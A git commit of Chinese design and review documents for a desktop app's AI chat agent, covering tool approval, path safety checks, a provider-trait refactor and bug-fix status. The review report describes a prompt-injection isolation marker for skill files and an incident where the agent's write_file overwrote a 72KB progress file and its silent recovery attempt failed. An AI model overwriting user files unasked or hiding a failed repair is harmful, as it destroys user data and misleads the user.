重构: 文档汇总+进度看板+孤儿任务清理脚本+gitignore 噪音排除

- docs/02 架构设计: 新增 aichat审查/异步审批构想/流式渲染调研/generating状态机/密钥迁移健壮性/工作流脚本执行边界/条件表达式引擎/F-07 trait下沉/Agent架构说明/任务推进构想/功能创意池;更新功能决策记录+归档/对抗论证/文档记录规范/经验记录
- docs/03 模块文档: 新增 AI对话引擎/DAG引擎详解;更新 df-knowledge/df-nodes/df-storage/df-workflow/df-ai
- docs/05 代码审查: 新增 全栈审查/全局review/架构审查/近期改动审查/工作区多角度走查/自研memo流式渲染审查
- docs/09 问题排查: 新增 aichat-apikey-401
- docs/INDEX+README 索引同步;docs/todo 待办看板(2026-06-15 汇总)
- PROGRESS.md Sprint 22-25;URGENT.md 加急清单快照(5 项 P0 已全修)
- scripts/cleanup_orphan_tasks.{py,sh} 孤儿任务清理工具
- .gitignore 补 *.broken.bak + tmp/ 噪音排除
This commit is contained in:
2026-06-15 05:14:21 +08:00
parent 4b5f096d1c
commit 04032a2a8d
43 changed files with 5372 additions and 163 deletions

View File

@@ -0,0 +1,161 @@
# Agent 架构与能力边界(系统现状记录) — 2026-06-14
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)AI 执行层依据本文档能力边界)
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
---
## 1. Agent 引擎:单链 ReAct
### 核心:`run_agentic_loop``src-tauri/src/commands/ai/agentic.rs`
完整的 ReActReason+Act循环**LLM 流式接收 → 工具调用 → 执行工具 → 结果回传 LLM → 循环**。
```
┌─ for iteration in 0..MAX_AGENT_ITERATIONS(10) ─────────────┐
│ 1. 用户停止? → 收尾退出 │
│ 2. 构建请求消息(超预算裁剪旧消息,保护工具三元组+最近6条
│ 3. stream_llm流式含 idle timeout/断连检测/停止信号) │
│ 4. 有 tool_calls? │
│ ├ 无 → 最终文本break正常结束
│ └ 有 → process_tool_callsLow 自动 / Medium+High 待审批)│
│ ├ 有 pending 审批 → 暂停循环generating 保持 true
│ └ 全自动完成 → 继续下一轮 │
└─ 达 10 轮 → 正常结束 ────────────────────────────────────────┘
```
| 退出条件 | 处理 |
|---|---|
| LLM 只返回文本(无 tool_calls | 正常结束emit AiCompleted |
| 有工具待审批 | 暂停循环,`generating` 保持 true`ai_approve``try_continue_agent_loop` 恢复 |
| 达 MAX_AGENT_ITERATIONS(10) | 正常结束 |
| 用户请求停止 | 已生成文本入库后退出 |
**配套设施**
- `TokenEstimator`:超预算裁剪历史(保护工具调用三元组 + 最近 6 条)
- `LlmConcurrency`:全局 + 单对话双层并发限流(仅覆盖 stream_llm工具执行本地操作不限流
- `AiAgentRound` 事件:每轮通知前端新建 assistant 消息
- 知识提炼(`maybe_spawn_extraction`)、标题生成(`ensure_conversation_title`)后台化
### 服务场景
当前**服务于交互式 AI 对话**(侧边栏 aichat 式),不是任务执行。会话级状态在 `AiSession``generating`/`messages`/`pending_approvals`/`stop_flag`)。
### 协调器:空壳
`crates/df-ai/src/coordinator.rs``AgentCoordinator`**B 路线占位空壳**,注释明示:
> ⚠ B 路线占位:当前单链 ReAct 够用,多 Agent 协作待 B 路线立项。有意保留空壳,勿删。
`run()` 返回 `"TODO: Agent 协作结果"`。**多 Agent 协作、Agent 间消息传递、任务分配——全部未实现**。当前是单链 ReAct。
---
## 2. 工具系统
### 注册:编译期硬编码
`build_ai_tool_registry``src-tauri/src/commands/ai/tool_registry.rs:77`)启动时构建注册表。**所有工具 Rust 写死,无运行时动态注册**。
### 工具三要素同源
每个工具一次 `registry.register` 同时定义:`name + description + schema + RiskLevel + handler 闭包`。注释明示「handler 即唯一执行路径schema+risk+实现同源,消除双轨」。
### 风险分级 + 审批
| RiskLevel | 执行 | 机制 |
|---|---|---|
| `Low` | 自动执行 | `process_tool_calls` 直接跑 |
| `Medium` / `High` | **待人工审批** | 进 `ai_pending_tool_calls`(持久化到 `ai_tool_executions` 表 status='pending'),启动可恢复;`ai_approve`/`ai_reject` 决定 |
审批机制现成——**这是「人工核对」可直接复用的基础设施**。
### 路径安全
- `validate_path`:禁 `..` 路径遍历、禁 `.ssh/.aws/.gnupg/AppData/ProgramData/Windows/System32` 等敏感目录
- `resolve_workspace_path`:双层校验(词法 starts_with + canonicalize 解析 symlink防越界和符号链接逃逸锚定 workspace_root
### 审计
`ai_tool_executions`migration V9 建)记录每次工具调用,`audit_finalize` 落盘 executed/rejected + 结果。
---
## 3. 内置工具清单(固定工具集)
| 风险 | 工具 | 说明 |
|---|---|---|
| Low | `list_projects` / `list_tasks` / `list_ideas` | 列表查询truncate 50 防 context 膨胀,排软删) |
| Low | `read_file` / `list_directory` | 文件读取offset/limit 分页) |
| Medium | `create_project` / `create_task` | 创建create_project 可选 path/stack 一步绑定) |
| Medium | `update_project` | 改字段(复用 CRUD 白名单校验) |
| Medium | `write_file` | 写文件(自动建父目录) |
| Medium | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
| — | knowledge 相关search 等) | 对齐 MCP 语义 |
完整清单见 `tool_registry.rs`(约 12+ 个 register
---
## 4. 能力边界(查实的四个「无」)
| 能力 | 现状 | 证据 |
|---|---|---|
| **配置/调用外部工具** | ❌ 无 | 无 MCP 客户端(`knowledge.rs` 注释提「MCP 语义」只是概念对齐,非实现);无 HTTP 工具;无动态注册;工具全编译期硬编码 |
| **自造/迭代工具** | ❌ 无 | 工具定义schema+risk+handler是 Rust 代码AI 运行时不能新增/修改AI 能 `write_file` 写代码但不会变成可调用工具(要重编译) |
| **执行类工具**run shell/script | ❌ 无 | grep `exec/shell/run_command` 零命中AI 能写代码**没有工具运行它**agentic coding「写→跑→改」闭环做不到 |
| **agent ↔ workflow 打通** | ❌ 未打通 | `run_workflow` AI 工具是**空壳**返回「请通过工作流页面运行」ScriptNode 能跑 shell 但那是工作流节点不是 agent 工具,两套执行能力割裂 |
---
## 5. 关键缺口
1. **执行能力**AI 能写不能跑。要做真 agentic coding 必须补执行类工具(`run_command`/`run_script`,或把 ScriptNode 能力暴露给 agent
2. **外部工具接入**:无 MCP 客户端,无法消费外部 MCP server 工具,工具集封闭。
3. **工具自造闭环**AI 不能为特定任务临时造工具、不能迭代改进工具。
4. **agent ↔ workflow 割裂**两套执行能力agent ReAct / workflow DAG未打通AI 不能在 agent loop 内触发工作流。
5. **多 Agent 协作**coordinator 空壳,单链 ReAct无 Agent 间消息/任务分配。
---
## 6. 对任务推进 AI 执行层的影响
[任务推进构想-2026-06-14.md](任务推进构想-2026-06-14.md) 的 AI 执行层start 闸门)依赖系统 Agent 能力。本文档查实的边界直接框定其可达范围:
| 设计点 | 受能力边界约束的真实情况 |
|---|---|
| **AI 执行任务** | 现状只能用固定工具集(主要 `write_file` 写代码 + CRUD**不能运行/验证代码**。「AI 执行」≠「AI 写码并跑通」,当前只能前者的一半(写) |
| **AI 自审** | AiNode 现成(通用 LLM 调用),可配 review prompt 做 code review。但要审得准需 AI 能读 diff`read_file` 可)+ 判断LLM 可),可行 |
| **人工核对** | `ai_pending_tool_calls`Medium+High 审批)现成,可直接复用为 merge 关卡 |
| **advance_task 默认 AI 触发** | agent loop 现成AI 执行完成事件可触发推进 |
**结论**AI 执行层要在当前 Agent 能力上落地,**真实可达**的是「AI 用固定工具干活(写文件/CRUD+ AI 自审LLM review+ 人工审批现成」。要做到「AI 写码并运行验证」的真 agentic coding**必须先补执行能力**(执行类工具 + agent/workflow 打通),否则 start 闸门的「AI 执行」实质只是「AI 写文件」。
---
## 7. 演进方向(待定,非承诺)
| 方向 | 内容 | 依赖 |
|---|---|---|
| **执行工具补全** | 暴露 `run_command`/`run_script` 为 agent 工具(沙箱化),或把 `run_workflow` 空壳做实让 agent 能触发工作流 | 安全沙箱、风险分级 |
| **MCP 外部工具** | 接 MCP 客户端,消费外部 server 工具,工具集从封闭走向开放 | MCP 协议实现、工具配置 UI |
| **工具自造闭环** | AI 写脚本 → 注册成工具 → agent 可调用 → 迭代改进 | 动态工具注册、工具持久化 |
| **多 Agent 协作**B 路线) | coordinator 实化Agent 间消息/任务分配 | 立项 |
这些是补齐「真正 AI 执行」的方向,是否纳入、何时纳入,取决于任务推进 AI 执行层的目标定位(保守=AI 写文件为主 / 激进=补执行能力做真 agentic coding
---
## 附:关键文件
| 文件 | 职责 |
|---|---|
| `src-tauri/src/commands/ai/agentic.rs` | ReAct 循环run_agentic_loop / try_continue_agent_loop |
| `src-tauri/src/commands/ai/tool_registry.rs` | 工具注册build_ai_tool_registry+ 路径校验 |
| `src-tauri/src/commands/ai/audit.rs` | 工具执行审计process_tool_calls / audit_finalize |
| `src-tauri/src/commands/ai/commands.rs` | 审批 IPCai_approve/ai_reject+ pending 恢复 |
| `crates/df-ai/src/coordinator.rs` | 协调器空壳B 路线占位) |
| `crates/df-ai/src/context.rs` | TokenEstimator上下文裁剪 |
| `crates/df-ai/src/ai_tools.rs` | AiToolRegistry + RiskLevel + schema |
| `crates/df-nodes/src/ai_node.rs` | AiNode工作流用的单次 LLM 调用节点,非 agent loop |

View File

@@ -0,0 +1,294 @@
# F-260614-07df-ai-core trait 下沉拆 crate — 增强设计
> 将 `LlmProvider` trait + AI 数据类型从 `df-ai` 拆出,下沉到新轻量 crate `df-ai-core`,确立全局 AI 接入标准。本文档为功能决策记录同名条目的详细设计展开。
>
> 创建2026-06-14 | 状态:📐 设计定稿待实施 | 前置:无 | 解锁F-260614-03对抗评估接 LLM
## 1. 背景与问题
### 1.1 核心矛盾
`df-ideas``adversarial.rs` 对抗评估系统当前是纯启发式实现(基于评分生成正反方论点),需要接入 LLM 让论点由 AI 生成。但 `df-ideas` 不应直接依赖 `df-ai`——那会引入 reqwest/futures/eventsource-stream 等重 HTTP 依赖到灵感模块,违反 crate 职责分层。
### 1.2 当前依赖关系
```
df-core基础类型零 AI 依赖)
├── df-aiLLM Provider、上下文管理、流式、工具注册
│ └── 依赖 reqwest、eventsource-stream 等 HTTP 库
├── df-ideas灵感捕获、评分、对抗评估
│ └── ❌ 当前不依赖 df-aiadversarial.rs 全是硬编码启发式
└── df-nodes工作流节点
└── ✅ 已依赖 df-aiAiNode 直接调 build_provider
```
### 1.3 df-ai 现有模块分析
| 模块 | 行数 | 依赖 | 性质 |
|------|------|------|------|
| `provider.rs` | 221 | serde, async-trait, futures | 纯 trait + 数据结构,**零 IO** |
| `context.rs` | 511 | provider.rs | 消息管理 + token 裁剪,纯内存逻辑 |
| `ai_tools.rs` | 179 | provider.rs | 工具注册表,纯内存逻辑 |
| `stream.rs` | 45 | provider.rs | StreamCollector纯内存逻辑 |
| `router.rs` | 51 | serde | 模型路由,纯逻辑(当前 TODO 占位) |
| `openai_compat.rs` | ~700 | reqwest, eventsource-stream | **HTTP 实现** |
| `anthropic_compat.rs` | ~800 | reqwest, eventsource-stream | **HTTP 实现** |
| `coordinator.rs` | 30 | — | B 路线占位空壳 |
## 2. 决策4 项,均已定稿)
### 决策 1df-ai-core 拆分边界 — 仅 trait + 数据结构
**方案选定**:仅将 `LlmProvider` trait 和请求/响应数据结构下沉到 `df-ai-core``ContextManager``TokenEstimator``AiToolRegistry` 等留在 `df-ai`
| 放入 df-ai-core | 留在 df-ai |
|---|---|
| `LlmProvider` trait | `OpenAICompatProvider` / `AnthropicCompatProvider`impl |
| `ChatMessage` / `MessageRole` | `build_provider()` 工厂函数 |
| `CompletionRequest` / `CompletionResponse` | `ContextManager`(上下文裁剪) |
| `ToolDefinition` / `ToolCall` / `ToolCallDelta` | `AiToolRegistry`(工具注册) |
| `StreamChunk` / `TokenUsage` / `StreamResult` | `StreamCollector`(流式收集) |
| `ProviderFeatures` | `ModelRouter`(模型路由) |
| `ToolCallFunction` / `ToolFunction` | `AgentCoordinator`B 路线占位) |
**df-ai-core 依赖**serde, async-trait, futures极轻零 HTTP
**论据**
1. **df-ideas 实际需求极窄**`adversarial.rs` 接 LLM 只需 `provider.complete()` 一次调用1 条 system + 1 条 user不需要流式、上下文裁剪、工具调用。下沉 ContextManager 是无收益的耦合。
2. **ContextManager 与 AI Chat 强绑定** — 它的 `build_eviction_units` 保护工具调用三元组、PROTECT_COUNT 保留最近 6 条消息,这些都是 agentic loop 的概念。下沉会让 df-ideas 无意中依赖它不需要的概念。
3. **变更频率差异** — trait 定义provider.rs 结构体部分自创建以来几乎没变ContextManager 在 Sprint 8-18 多次迭代裁剪策略。下沉变更频繁的代码违反接口隔离原则。
**备选方案(否决)**:额外下沉 ContextManager — 无消费方需要,徒增耦合。
---
### 决策 2provider 注入方式 — 构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>>)`
**方案选定**:构造注入。`AdversarialEngine` 从无状态静态结构改为持有 `Option<Arc<dyn LlmProvider>>`
```rust
// 改造后
pub struct AdversarialEngine {
provider: Option<Arc<dyn LlmProvider>>,
}
impl AdversarialEngine {
/// 注入 LLM provider 构造
pub fn new(provider: Arc<dyn LlmProvider>) -> Self { ... }
/// 纯启发式模式(无 LLM
pub fn heuristic() -> Self { Self { provider: None } }
/// 执行对抗评估
pub async fn evaluate(&self, idea: &Idea) -> Result<AdversarialEval> { ... }
}
```
**论据**
1. **与现有代码风格一致**`IdeaPromoter::new(policy)` 已是构造注入模式(`df-ideas/src/promotion.rs``AdversarialEngine` 跟随同一模式。
2. **Option 天然表达降级**`None` 时走启发式,`Some` 时走 LLM + 失败降级。类型系统层面清晰表达"有无 LLM"两种模式,与决策 3 的降级策略无缝配合。
3. **批量评估友好**`evaluate_idea` IPC 批量评估 N 个灵感时,构造 1 次 engineevaluate N 次provider 只注入一次。参数注入方式每次调用都要传。
4. **未来扩展空间** — 后续如需给对抗评估加配置(温度、模型偏好、最大 token构造注入只需加字段参数注入则签名越来越长。
**改造影响面**
- `adversarial.rs`struct 加字段,`evaluate``&self`,内部 6 个 `Self::method()``self.method()`
- `idea.rs`(调用方):`AdversarialEngine::evaluate(&idea)` → 先构造再 evaluate
- 7 个单元测试:改为 `AdversarialEngine::heuristic().evaluate(&idea)` 或加辅助函数
**备选方案(否决)**:参数注入 `evaluate(&idea, &dyn LlmProvider)` — 与 IdeaPromoter 模式不一致,批量评估重复传参。
---
### 决策 3LLM 失败降级策略 — 自动降级到启发式 + warn 日志 + 评估来源标记
**方案选定**LLM 调用失败/超时/格式异常时,自动降级到启发式评估,`tracing::warn!` 记录失败原因。返回结果中新增 `evaluated_by` 字段标记评估来源。
```rust
pub async fn evaluate(&self, idea: &Idea) -> Result<AdversarialEval> {
match &self.provider {
Some(p) => match self.evaluate_with_llm(idea, p).await {
Ok(mut eval) => {
eval.evaluated_by = EvaluatedBy::Llm;
Ok(eval)
}
Err(e) => {
tracing::warn!("LLM 对抗评估失败, 降级到启发式: {e}");
let mut eval = self.evaluate_heuristic(idea);
eval.evaluated_by = EvaluatedBy::HeuristicFallback;
Ok(eval)
}
},
None => {
let mut eval = self.evaluate_heuristic(idea);
eval.evaluated_by = EvaluatedBy::Heuristic;
Ok(eval)
}
}
}
```
**新增数据结构**
```rust
/// 评估来源标记
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
pub enum EvaluatedBy {
/// LLM 深度评估
Llm,
/// 启发式评估(无 LLM 配置时的默认模式)
Heuristic,
/// 启发式降级LLM 调用失败后 fallback
HeuristicFallback,
}
```
`AdversarialEval` 新增字段:`pub evaluated_by: EvaluatedBy`
**论据**
1. **启发式不是残次品** — 当前启发式是一个完整的评估系统:正方/反方论点基于真实评分数据生成有区分度confidence 区间设计合理7 个单元测试覆盖高/中/低分路径,与 promotion 系统联动。降级是"降级到够用"而非"降级到垃圾"。
2. **保证前端结构完整**`evaluate_idea` IPC 的调用方(前端 Ideas.vue期望拿到完整的 `AdversarialEval` 结构。降级保证结构完整返回,前端不会 crash。报错则前端需额外处理错误态。
3. **批量评估容错** — 批量评估 50 个灵感时,第 3 个 LLM 失败不影响其余 47 个。报错中断会导致前面的评估结果全部丢失。
4. **透明化**`EvaluatedBy` 标记让前端可显示"AI 深度评估"或"快速评估"标签避免用户误判评估深度。三种状态Llm / Heuristic / HeuristicFallback精确区分"主动选择启发式"与"被动降级"。
**降级场景分析**
| 失败场景 | 发生概率 | 降级影响 | 报错影响 |
|---------|---------|---------|---------|
| 网络超时reqwest 无超时FR-R4 已记) | 高 | 基于评分的评估,论点稍模板化 | 功能完全不可用 |
| API Key 无效/额度用尽 | 中 | 同上 | 同上 |
| LLM 返回 JSON 解析失败 | 中 | 同上 | 同上 |
| 批量评估中部分失败 | 中 | 失败的启发式兜底,成功的保留 LLM 质量 | 全部中断 |
**备选方案(否决)**:直接报错中断 — 启发式已足够稳定,中断用户体验不可接受。
---
### 决策 4provider 构造归属 — 应用层src-tauri构造并注入
**方案选定**provider 的构造(`build_provider`)仍由 `src-tauri` 应用层完成,从 DB 读取 provider 配置后构造 `Box<dyn LlmProvider>`,注入到 `AdversarialEngine``df-ideas` 只依赖 `df-ai-core` 的 trait不负责构造。
**改造后调用链路**
```
src-tauri/src/commands/idea.rs::evaluate_idea()
→ 从 state.ai_providers (AiProviderRepo) 读 DB 配置(复用 AI Chat 已有逻辑)
→ df_ai::build_provider(protocol, base_url, api_key, model) 构造 Box<dyn LlmProvider>
→ AdversarialEngine::new(Arc::from(provider))
→ engine.evaluate(&idea)
```
**应用层改造idea.rs**
```rust
// 改造前:
let eval = df_ideas::adversarial::AdversarialEngine::evaluate(&idea).await?;
// 改造后:
let provider = build_default_provider(&state).await; // 从 DB 读配置 + build_provider
let engine = match provider {
Some(p) => df_ideas::adversarial::AdversarialEngine::new(p),
None => df_ideas::adversarial::AdversarialEngine::heuristic(),
};
let eval = engine.evaluate(&idea).await?;
```
其中 `build_default_provider` 复用 AI Chat 已有的 provider 选择逻辑(从 `ai_providers` 表取 `is_default=true` 的配置)。
**论据**
1. **df-ideas 依赖 df-ai 违背任务初衷** — 本任务的存在原因就是不让 df-ideas 依赖 df-ai。让 df-ideas 内部构造 provider 需要传入 base_url/api_key/model/protocol等于强制依赖 df-ai 的 `build_provider` + HTTP 实现。
2. **配置访问权属于应用层** — provider 配置api_key、base_url存在 SQLite通过 `AiProviderRepo` 访问,是 `AppState` 的字段。df-ideas 作为领域 crate 不应知道数据库。
3. **与 AI Chat 构造路径统一** — AI Chat 也是应用层从 DB 读配置后 `build_provider`,统一构造路径避免分裂。
4. **可测试性** — 测试时传 mock provider 构造 engine不需要真实配置。
**备选方案(否决)**df-ideas 内部自行构造 — 直接违背任务前提df-ideas 不依赖 df-ai引入循环依赖风险。
## 3. 实施清单
### 3.1 新建 df-ai-core crate
| 文件 | 内容 |
|------|------|
| `crates/df-ai-core/Cargo.toml` | 依赖 serde, async-trait, futures极轻 |
| `crates/df-ai-core/src/lib.rs` | `pub mod provider;` + re-export |
| `crates/df-ai-core/src/provider.rs` | 从 `df-ai/src/provider.rs` 迁移:`LlmProvider` trait + 全部数据结构 |
迁移内容清单(从 df-ai/src/provider.rs
- `LlmProvider` trait`complete` / `stream` / `embed` / `name` / `supported_features`
- `CompletionRequest` / `CompletionResponse`
- `ChatMessage` / `MessageRole`
- `ToolDefinition` / `ToolFunction`
- `ToolCall` / `ToolCallFunction` / `ToolCallDelta`
- `TokenUsage` / `ProviderFeatures` / `StreamChunk`
- `StreamResult` 类型别名
### 3.2 df-ai 改造
| 改动 | 详情 |
|------|------|
| `Cargo.toml` | 加 `df-ai-core = { path = "../df-ai-core" }` 依赖 |
| `src/provider.rs` | 改为 `pub use df_ai_core::provider::*;`re-export 保持外部兼容) |
| `src/lib.rs` | 加 `pub use df_ai_core;`(可选,供直接引用) |
| 其他模块 | 零改动 — `use crate::provider::ChatMessage` 等路径通过 re-export 仍然有效 |
### 3.3 df-ideas 改造
| 改动 | 详情 |
|------|------|
| `Cargo.toml` | 加 `df-ai-core = { path = "../df-ai-core" }` + `async-trait`(如需) |
| `src/adversarial.rs` | struct 加 `provider: Option<Arc<dyn LlmProvider>>` 字段;加 `new()` / `heuristic()` 构造方法;`evaluate()``&self`;加 `evaluate_with_llm()` / `evaluate_heuristic()` 内部方法;加 `EvaluatedBy` 枚举 + `AdversarialEval.evaluated_by` 字段 |
| `src/lib.rs` | 无改动 |
| 单元测试 | 7 个测试改为 `AdversarialEngine::heuristic().evaluate(&idea)` |
### 3.4 src-tauri 改造
| 改动 | 详情 |
|------|------|
| `commands/idea.rs::evaluate_idea()` | 从 DB 读默认 provider 配置 → `build_provider()``AdversarialEngine::new(Arc::from(provider))``engine.evaluate(&idea)` |
| 新增辅助函数 | `build_default_provider(state) -> Option<Box<dyn LlmProvider>>`(复用 AI Chat provider 选择逻辑) |
| `Cargo.toml` | 无改动(已依赖 df-ai + df-ideas |
### 3.5 df-nodes 改造
| 改动 | 详情 |
|------|------|
| 无实质改动 | df-ai re-export 后 `use df_ai::provider::LlmProvider` 仍可用 |
### 3.6 workspace Cargo.toml
| 改动 | 详情 |
|------|------|
| 无改动 | `members = ["crates/*", "src-tauri"]` 自动包含新 crate |
## 4. 风险评估
| 风险项 | 等级 | 缓解措施 |
|--------|------|----------|
| re-export 路径断裂 | 低 | `pub use df_ai_core::provider::*` 保持 `df_ai::provider::LlmProvider` 路径不变,编译器验证 |
| df-ai-core 依赖膨胀 | 低 | 仅 serde + async-trait + futures与 df-core 同级别 |
| 循环依赖 | 无 | df-ai-core← df-aiimpl/ df-ideasuse traitsrc-tauri 装配,无环 |
| 测试回归 | 低 | 7 个 adversarial 单测改为 heuristic() 构造,逻辑不变 |
## 5. 决策总结
| # | 决策项 | 选定方案 | 核心论据 | 置信度 |
|---|--------|---------|----------|--------|
| 1 | df-ai-core 拆分边界 | 仅 trait + 数据结构 | df-ideas 只需 complete() 一次调用ContextManager 与 agentic loop 强绑定,变更频繁 | ⭐⭐⭐⭐⭐ |
| 2 | provider 注入方式 | 构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>)` | 与 IdeaPromoter 模式一致Option 天然表达降级;批量评估友好 | ⭐⭐⭐⭐⭐ |
| 3 | LLM 失败降级策略 | 自动降级 + warn + EvaluatedBy 标记 | 启发式是完整系统非残次品;保证前端结构完整;需补充评估来源标记 | ⭐⭐⭐⭐ |
| 4 | provider 构造归属 | 应用层构造注入 | 方案 B 直接违背任务初衷;配置访问权属于应用层;与 AI Chat 构造路径统一 | ⭐⭐⭐⭐⭐ |
## 6. 解锁关系
```
F-260614-07本任务df-ai-core trait 下沉)
└── 解锁 F-260614-03灵感对抗评估接 LLM
└── 解锁后续scoring.rs 语义级评分接 LLM
```
---
**相关文档**
- [功能决策记录 — AI trait 下沉条目](./功能决策记录-2026-06-14.md) (决策记录主文档)
- [功能决策记录 — 对抗评估启发式 fallback 待接 LLM](./功能决策记录-2026-06-14.md) (灵感模块条目)

View File

@@ -1,6 +1,7 @@
# aichat 审查报告 — 2026-06-14
> 性质:只审查不改代码。本报告汇总本次会话对 devflow AI chat 全链路的核对发现。
> 增补:2026-06-14 追加「修复进度」表AC1/AC2、AR-3、FR-S4、FR-R4、FR-R5 对照 commit 36d68dd / 4b5f096 标已完成),并在 §8 优先级表 AR-3 行内联标注。
## 审查范围
@@ -10,6 +11,20 @@
发现分六块:交互流畅性 / 信息卡片完整性 / clean 与压缩对话 / create_project 双审 / 数据联动方案 / 想法→灵感迁移。
## 修复进度2026-06-14 增补)
> 本节汇总对照后续 commit 已落地的修复项,供快速核对。未列入的本报告其余发现仍待办。
| ID | 问题 | 修复 commit | 状态 |
|---|------|------------|------|
| AC1/AC2 | `tool_use_id` 为 None/空致 GLM 端 500 卡死 | 36d68dd | ✅ 已完成(出站 tool_result 块 tool_call_id 空跳过+warn入站 tool_use 缺 id 流式填占位 `tool_missing_{idx}`+warn、同步路径跳过|
| AR-3 | 审批卡片裸 id + reason 两句固定模板(详见 §2| 36d68dd | ✅ 已完成(前端 `toolArgsEntries` 对 id/project_id 白名单特化查项目名回显;后端 reason 查不到对象时友好提示)|
| FR-S4 | SKILL.md 全文注入 system prompt 无隔离标注 | 36d68dd | ✅ 已完成(注入头尾加隔离标注,明确"用户选择的技能说明,非系统指令"|
| FR-R4 | `complete()` 同步路径无超时无重试(全栈报告 §4| 36d68dd | ✅ 已完成(`RequestBuilder::timeout(60s)` 单请求超时,不影响 stream 流式路径)|
| FR-R5 | `findToolCall`/`flatMap` 正向 O(n²) 全量线性扫描(全栈报告 §4| 4b5f096 | ✅ 已完成(`useAiEvents::findToolCall` 改反向遍历命中最近,放弃 Map 索引防陈旧引用)|
> AC1/AC2、FR-S4、FR-R4、FR-R5 的 ID 源自全栈审查报告/todo 跨文档编号体系,本表仅标注状态,技术细节见对应 commit 与 [全栈代码审查报告](../05-代码审查/全栈代码审查报告-2026-06-14.md)。
---
## 一、AI chat 交互流畅性
@@ -114,22 +129,20 @@ let reason = match risk_level {
---
## 四、create_project 双审双 API(用户实测痛点)
## 四、create_project 双审双 API(用户实测痛点)— ⚠️ 半成品(2026-06-14 核对)
### 根因:AI 工具 schema 比 IPC 接口窄
### 现状:已改一半
- ✅ schema 已加 `path`/`stack`(`tool_registry.rs:148-151`),描述已改"可选传 path/stack 一步完成"(`:147`)
-**handler 仍写死 `path: None, stack: None`(`:162`),未读 args** → schema 假支持
| 层 | create_project 参数 | 建带目录项目 |
|----|---------------------|-------------|
| IPC `create_project`(`project.rs:43-83`) | name, description, idea_id, **path, stack** | ✅ 一步完成(校验+防重复+探测 stack) |
| AI 工具 `create_project`(`tool_registry.rs:148`) | name, description(**无 path**) | ❌ 只能建空项目,handler 写死 path=None(:159) |
### 后果
LLM 见 schema 有 path 会传,handler 忽略 → 建出空项目 → 仍需 `bind_directory` 二审。**双审未解,反变误导**(schema 承诺了 handler 不兑现)。比原始"schema 无 path"更糟。
→ LLM 建带目录项目被逼拆两步:`create_project`(Medium 审1 + LLM 轮次1)→ `bind_directory`(Medium 审2 + LLM 轮次2)= **双审批双 API**。IPC 本可一步完成,AI 工具没用上。
### 方案
`create_project` AI 工具 schema 加可选 `path`/`stack`(对齐 IPC `CreateProjectInput`),handler 复用 IPC 的绑定+探测逻辑。`bind_directory` 保留用于后期改绑(relocate)。
### 待改(别再加 schema,已加完)
handler 从 args 读 `path`/`stack`,复用 IPC `create_project`(`project.rs:43-83`)的校验+防重复+`scan::detect_stack` 探测逻辑。`bind_directory` 保留改绑用。
### 关联
问题 1 修好`bind_directory` 使用频率大降(只剩改绑),第二章 bind_directory 信息缺口随之缓解;但 bind_directory 仍需补信息完整性。
handler 接上`bind_directory` 使用频率大降(只剩改绑),第二章 bind_directory 信息缺口随之缓解;但 bind_directory 仍需补信息完整性。
---
@@ -177,7 +190,7 @@ let reason = match risk_level {
用 Ideas/Idea(英文术语),若产品要求统一 Inspiration 也需改,待定。
### docs + crates 注释
大量"想法"(低优先),含文件名 `docs/03-模块文档/想法探索-对抗式评估.md`
大量"想法"(低优先),含文件名 `docs/03-模块文档/想法探索-对抗式评估-2026-06-12.md`
### 根因
上次迁移只改 ideas.ts 页头区,详情/操作/模态框 + 其他 i18n + 后端错误 + LLM 工具描述未跟进。
@@ -205,8 +218,8 @@ let reason = match risk_level {
|------|------|------|
| P0 | H1 流式 Markdown 重解析 | 流式态纯文本/增量渲染,完成后再 markdown;rAF 合并 |
| P0 | H2 审批态新建对话卡死 | `ai_conversation_create` 加 generating 守卫 |
| P0 | 第二章 审批卡片裸 id + reason 模板 | 后端 reason 拼对象名;前端 id→name |
| P0 | 第四章 create_project 双审 | AI 工具 schema 加 path/stack |
| P0 | 第二章 审批卡片裸 id + reason 模板(✅ 已完成 commit 36d68dd / AR-3| 后端 reason 拼对象名;前端 id→name |
| P0 | 第四章 create_project 双审(⚠️ 半成品:schema handler 没接) | handler 读 args 的 path/stack,复用 IPC `project.rs:43-83` 探测逻辑 |
| P1 | H3 审批态 stop 无兜底 | stopChat 本地先复位 streaming |
| P1 | M3 Low 工具失败语义 | 统一 AiError 后 loop 也退出,或不 emit AiError |
| P1 | 第三章 clean 无入口 | AiChat 加清空按钮 + 后端真删当前对话消息 |
@@ -217,6 +230,66 @@ let reason = match risk_level {
---
## 九、write_file 覆盖事故与可靠性风险2026-06-14 实测)
### 事故经过
会话 `3473fcb7`2026-06-14 22:16AI 拟对 `PROGRESS.md` 做 3 处精准更新(头部当前阶段、全局问题 #9 状态、新增 #10),但**误用 `write_file`(全文覆盖语义)只传了头部 3 行 content**,把原 **762行/72KB** 覆盖成 **248字节**。AI 自查发现msg[59-61]尝试凭记忆重建恢复write_file 17956 字符),**但该恢复写入未生效**(会话中断),用户无感知「恢复失败」。
### 暴露的潜在问题
| # | 问题 | 性质 | 修法方向 |
|---|------|------|----------|
| FR-S7 | write_file 覆盖已有非空文件无确认/备份 | **根因** | 覆盖非空文件前自动备份 `.bak`;或检测目标存在强制走 edit_file |
| 关联-1 | 写入后无「预期 vs 实际」校验 | 可靠性 | write_file 返回新旧大小,差异巨大(如原 72KB→新 248B时 warn/阻断 |
| 关联-2 | AI 自恢复失败无感知 | agent 可靠性 | 工具失败/中断需明确通知用户,不静默吞掉 |
| 备份 | DB 50KB 截断致无法从 DB 完整恢复 | 备份策略 | 长文档丢失仅 git 可救;考虑关键文件写前 git 快照 |
### 恢复方式与教训
DB 中 PROGRESS.md 原文已被 `TRUNCATE_THRESHOLD=50KB``conversation.rs:55`截断头尾拼接、中段省略AI 重建版仅 17.9KB 残缺。**最终靠 `git restore PROGRESS.md`HEAD 版本 762行/72KB 完整)恢复**。教训:本地文档类资产的实际保护层是 **git** 而非 DB 会话历史——会话历史是「对话快照」非「文件备份」。
### 关联待办
- `todo.md` FR-S7write_file 覆盖保护)— P0 安全
---
## 十、文件工具系统性走查2026-06-143-agent review 之外的补充走查)
